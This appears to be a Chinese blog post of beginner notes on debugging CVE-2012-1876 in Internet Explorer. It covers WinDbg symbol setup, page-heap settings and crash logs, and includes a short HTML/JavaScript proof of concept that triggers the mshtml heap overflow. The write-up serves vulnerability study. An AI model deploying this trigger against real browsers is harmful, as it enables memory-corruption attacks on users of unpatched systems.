[原创]漏洞战争:CVE-2012-1876调试笔记
前言
在调试漏洞战争上的CVE-2012-1876做了一些笔记,漏洞分析的话漏洞战争和vupen的文章已经写的很清楚了。
因为是第一次用windbg,所以我主要把自己的环境搭建(比如怎么导入符号文件)和调试日志(十分详细)记录了一下,希望对那些和我一样,刚开始学习漏洞分析与调试的人有所帮助。
参考资料
调试环境搭建
下载
windbg符号文件设置
在windbg的窗口里输入
.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
重启后要重新输入。
poc调试
<html>
<body>
<table style="table-layout:fixed" >
<col id="132" width="41" span="1" >  </col>
</table>
<script>
function over_trigger() {
var obj_col = document.getElementById("132");
obj_col.width = "42765";
obj_col.span = 1000;
}
setTimeout("over_trigger();",1);
</script>
</body>
</html>
基于HPA的漏洞分析方法
- hpa:启动页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。
在终端通过gflags启动hpa
启动ie浏览器后,用windbg attach进程
两个进程,一个是broker进程 一个是页面的内容进程,附加后面的那个就可以,就是内容进程。
检查一下hpa开了没。
0:000> .symfix
0:000> .reload
Reloading current modules
................................................................
.............................
0:000> !gflag
Current NtGlobalFlag contents: 0x02000000
hpa - Place heap allocations at ends of pages
然后需要开启子进程调试,这样才能断下来。
.childdbg 1
然后g,启动调试器。
0:027> g ModLoad: 74c30000 74c38000 C:\Windows\system32\credssp.dll ModLoad: 752a0000 752a8000 C:\Windows\system32\secur32.dll ModLoad: 750c0000 750f8000 C:\Windows\system32\ncrypt.dll ModLoad: 750a0000 750b7000 C:\Windows\system32\bcrypt.dll ModLoad: 74c70000 74cad000 C:\Windows\system32\bcryptprimitives.dll ModLoad: 74b50000 74b66000 C:\Windows\system32\GPAPI.dll ModLoad: 70c60000 70c7c000 C:\Windows\system32\cryptnet.dll ModLoad: 72e70000 72e85000 C:\Windows\system32\Cabinet.dll ModLoad: 74d10000 74d1e000 C:\Windows\system32\DEVRTL.dll
看到debugger正在运行了。
然后把poc拖到浏览器里运行。
另外poc拖进去之后,会自动断下来。
再g一下,就变成下面这个样子。
1:021> g ModLoad: 760f0000 7610f000 C:\Windows\system32\IMM32.DLL ModLoad: 75b40000 75c0c000 C:\Windows\system32\MSCTF.dll ModLoad: 6ccf0000 6d76c000 C:\Windows\system32\IEFRAME.dll ModLoad: 75da0000 75da5000 C:\Windows\system32\PSAPI.DLL ModLoad: 72940000 7297c000 C:\Windows\system32\OLEACC.dll ModLoad: 741a0000 7433e000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll ModLoad: 75810000 7588b000 C:\Windows\system32\comdlg32.dll ModLoad: 71620000 71655000 C:\Program Files\Internet Explorer\IEShims.dll ModLoad: 75460000 7546c000 C:\Windows\system32\CRYPTBASE.dll ModLoad: 74390000 743d0000 C:\Windows\system32\uxtheme.dll ModLoad: 75500000 7550e000 C:\Windows\system32\RpcRtRemote.dll ModLoad: 735b0000 735c3000 C:\Windows\system32\dwmapi.dll ModLoad: 723c0000 723f3000 C:\Program Files\Internet Explorer\sqmapi.dll ModLoad: 74f90000 74fa6000 C:\Windows\system32\CRYPTSP.dll ModLoad: 76170000 7630d000 C:\Windows\system32\SETUPAPI.dll ModLoad: 756b0000 756d7000 C:\Windows\system32\CFGMGR32.dll ModLoad: 756e0000 756f2000 C:\Windows\system32\DEVOBJ.dll ModLoad: 74d30000 74d6b000 C:\Windows\system32\rsaenh.dll ModLoad: 764a0000 76523000 C:\Windows\system32\CLBCatQ.DLL ModLoad: 743f0000 744e5000 C:\Windows\system32\propsys.dll ModLoad: 6f9e0000 6fa0b000 C:\Program Files\Internet Explorer\ieproxy.dll ModLoad: 772c0000 773b4000 C:\Windows\system32\WININET.dll ModLoad: 76490000 76493000 C:\Windows\system32\Normaliz.dll ModLoad: 75510000 7551b000 C:\Windows\system32\profapi.dll ModLoad: 753f0000 7540a000 C:\Windows\system32\SspiCli.dll ModLoad: 75db0000 75de5000 C:\Windows\system32\ws2_32.DLL ModLoad: 759f0000 759f6000 C:\Windows\system32\NSI.dll ModLoad: 74e10000 74e54000 C:\Windows\system32\dnsapi.DLL ModLoad: 739a0000 739bc000 C:\Windows\system32\iphlpapi.DLL ModLoad: 73980000 73987000 C:\Windows\system32\WINNSI.DLL ModLoad: 6d920000 6d94e000 C:\Windows\system32\MLANG.dll ModLoad: 75410000 7545b000 C:\Windows\system32\apphelp.dll ModLoad: 73fe0000 74001000 C:\Windows\system32\ntmarta.dll ModLoad: 77500000 77545000 C:\Windows\system32\WLDAP32.dll ModLoad: 74a10000 74a19000 C:\Windows\system32\VERSION.dll ModLoad: 67b10000 680c2000 C:\Windows\System32\mshtml.dll ModLoad: 6e2c0000 6e2ea000 C:\Windows\System32\msls31.dll ModLoad: 75470000 754cf000 C:\Windows\system32\SXS.DLL ModLoad: 71270000 712a2000 C:\Windows\system32\WINMM.dll ModLoad: 744f0000 74529000 C:\Windows\system32\MMDevAPI.DLL ModLoad: 6daf0000 6db20000 C:\Windows\system32\wdmaud.drv ModLoad: 6dae0000 6dae4000 C:\Windows\system32\ksuser.dll ModLoad: 74730000 74737000 C:\Windows\system32\AVRT.dll ModLoad: 6db20000 6db56000 C:\Windows\system32\AUDIOSES.DLL ModLoad: 74760000 7476b000 C:\Windows\system32\msimtf.dll ModLoad: 6dad0000 6dad8000 C:\Windows\system32\msacm32.drv ModLoad: 6dab0000 6dac4000 C:\Windows\system32\MSACM32.dll ModLoad: 6daa0000 6daa7000 C:\Windows\system32\midimap.dll
然后允许ActiveX控件运行。
(4b8.c00): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000009 ebx=00414114 ecx=04141149 edx=00004141 esi=06caf000 edi=06caf018 eip=67f3f167 esp=0452daa8 ebp=0452dab4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CTableColCalc::AdjustForCol+0x15: 67f3f167 890f mov dword ptr [edi],ecx ds:0023:06caf018=????????
然后kb回溯一下栈
1:025> kb ChildEBP RetAddr Args to Child 0452dab4 67db5b8e 00414114 0452ddf8 00000001 mshtml!CTableColCalc::AdjustForCol+0x15 0452db64 67c20713 00000001 0452ddf8 000003e8 mshtml!CTableLayout::CalculateMinMax+0x52f 0452dd80 67c0af19 0452ddf8 0452ddc4 00000001 mshtml!CTableLayout::CalculateLayout+0x276 0452df2c 67cfcc48 0452f5a0 0452e158 00000000 mshtml!CTableLayout::CalcSizeVirtual+0x720 0452e064 67cef5d0 06e19ea8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b8 0452e128 67cef31d 06e19ea8 0001769c 0001769c mshtml!CFlowLayout::MeasureSite+0x312 0452e170 67cef664 0779bf00 00000061 0452f5a0 mshtml!CFlowLayout::GetSiteWidth+0x156 0452e1b0 67cefb40 07bfafb0 06e19ea8 00000001 mshtml!CLSMeasurer::GetSiteWidth+0xce 0452e234 6e2c665d 07862ff8 0452e254 0452e318 mshtml!CEmbeddedILSObj::Fmt+0x150 0452e2c4 6e2c6399 07c12efc 00000000 07025d20 msls31!ProcessOneRun+0x3e9 0452e320 6e2c6252 07c12f18 00018258 00000000 msls31!FetchAppendEscCore+0x18e 0452e374 6e2c61c3 00000000 00000000 00000014 msls31!LsDestroyLine+0x47f 0452e3fc 6e2c293f 00000007 00003832 00000000 msls31!LsDestroyLine+0x9ff 0452e438 67cedd81 00000001 00000007 00003832 msls31!LsCreateLine+0xcb 0452e588 67d017cc 0452f5a0 00000007 07bfafc0 mshtml!CLSMeasurer::LSDoCreateLine+0x127 0452e62c 67d01ef5 0452ee90 0001769c 00000000 mshtml!CLSMeasurer::LSMeasure+0x34 0452e674 67d01db1 00000000 00017e6c 00000083 mshtml!CLSMeasurer::Measure+0x1e6 0452e698 67d011a2 00017e6c 00000083 0779bf40 mshtml!CLSMeasurer::MeasureLine+0x1c 0452e748 67d2a8f6 0452ec68 07470fd8 00000083 mshtml!CRecalcLinePtr::MeasureLine+0x46d 0452ef50 67d2b304 0452f5a0 00000007 0000000e mshtml!CDisplay::RecalcLines+0x8bb 0452f0a0 67d28c5c 0452f5a0 00000007 0000000e mshtml!CDisplay::UpdateView+0x208 0452f154 67d29ee3 0452f5a0 0452f6d8 0873cf10 mshtml!CFlowLayout::CommitChanges+0x9c 0452f264 67c0eb06 0452f5a0 0452f6d8 00000000 mshtml!CFlowLayout::CalcTextSize+0x30f 0452f4ec 67d002ee 0779bf00 0452f6d8 00000000 mshtml!CFlowLayout::CalcSizeCoreCompat+0x1045 0452f508 67d00367 0452f5a0 0452f6d8 00000000 mshtml!CFlowLayout::CalcSizeCore+0x49 0452f544 67d0029c 0452f5a0 0452f6d8 00000000 mshtml!CBodyLayout::CalcSizeCore+0xd8 0452f57c 67cfcc48 0452f5a0 0452f6d8 00000000 mshtml!CFlowLayout::CalcSizeVirtual+0x1af 0452f6b4 67c84121 0779bf00 00000001 00000000 mshtml!CLayout::CalcSize+0x2b8 0452f7a4 67d290f9 00100000 00000007 059ebeb4 mshtml!CFlowLayout::DoLayout+0x543 0452f7e0 67cec8ca 059eb870 00100000 0452f840 mshtml!CView::ExecuteLayoutTasks+0x3b 0452f824 67d2336d 00000000 0452f870 0000008d mshtml!CView::EnsureView+0x355 0452f848 67ce94b2 059eb870 00000000 06d24d58 mshtml!CView::EnsureViewCallback+0xd3 0452f87c 67cd37f7 0452f918 00008002 00000000 mshtml!GlobalWndOnMethodCall+0xff 0452f89c 75ce86ef 000f0402 00000012 00000000 mshtml!GlobalWndProc+0x10c 0452f8c8 75ce8876 67cc1de3 000f0402 00008002 USER32!InternalCallWinProc+0x23 0452f940 75ce89b5 00000000 67cc1de3 000f0402 USER32!UserCallWinProcCheckWow+0x14b 0452f9a0 75ce8e9c 67cc1de3 00000000 0452fa28 USER32!DispatchMessageWorker+0x35e 0452f9b0 6cde04a6 0452f9c8 00000000 00752f58 USER32!DispatchMessageW+0xf 0452fa28 6cdf0446 05688808 00000000 006ccff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x452 0452fae0 75f549bd 00752f58 00000000 0452fafc IEFRAME!LCIETab_ThreadProc+0x2c1 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 0452faf0 76361174 006ccff0 0452fb3c 7741b3f5 iertutil!CIsoScope::RegisterThread+0xab WARNING: Stack unwind information not available. Following frames may be wrong. 0452fafc 7741b3f5 006ccff0 73d26994 00000000 kernel32!BaseThreadInitThunk+0x12 0452fb3c 7741b3c8 75f549af 006ccff0 00000000 ntdll!__RtlUserThreadStart+0x70 0452fb54 00000000 75f549af 006ccff0 00000000 ntdll!_RtlUserThreadStart+0x1b
这里可能会出现没有符号的问题,解决方法如下:
在windbg的窗口里输入
.sympath SRV*c:\localsymbols*http://msdl.microsoft.com/download/symbols
然后可以看见
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
复制成功
